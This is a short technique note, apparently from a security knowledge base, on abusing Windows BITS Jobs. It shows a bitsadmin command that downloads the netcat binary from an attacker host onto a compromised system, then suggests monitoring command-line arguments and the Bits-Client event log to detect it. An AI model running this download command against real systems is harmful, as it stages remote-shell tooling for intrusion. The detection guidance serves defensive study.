BITS Jobs
File upload to the compromised system.
bitsadmin /transfer myjob /download /priority high http://10.0.0.5/nc64.exe c:\temp\nc.exe

Commandline arguments monitoring can help discover bitsadmin usage:

Application Logs > Microsoft > Windows > Bits-Client > Operational
shows logs related to jobs, which you may want to monitor as well. An example of one of the jobs:
Last modified 4yr ago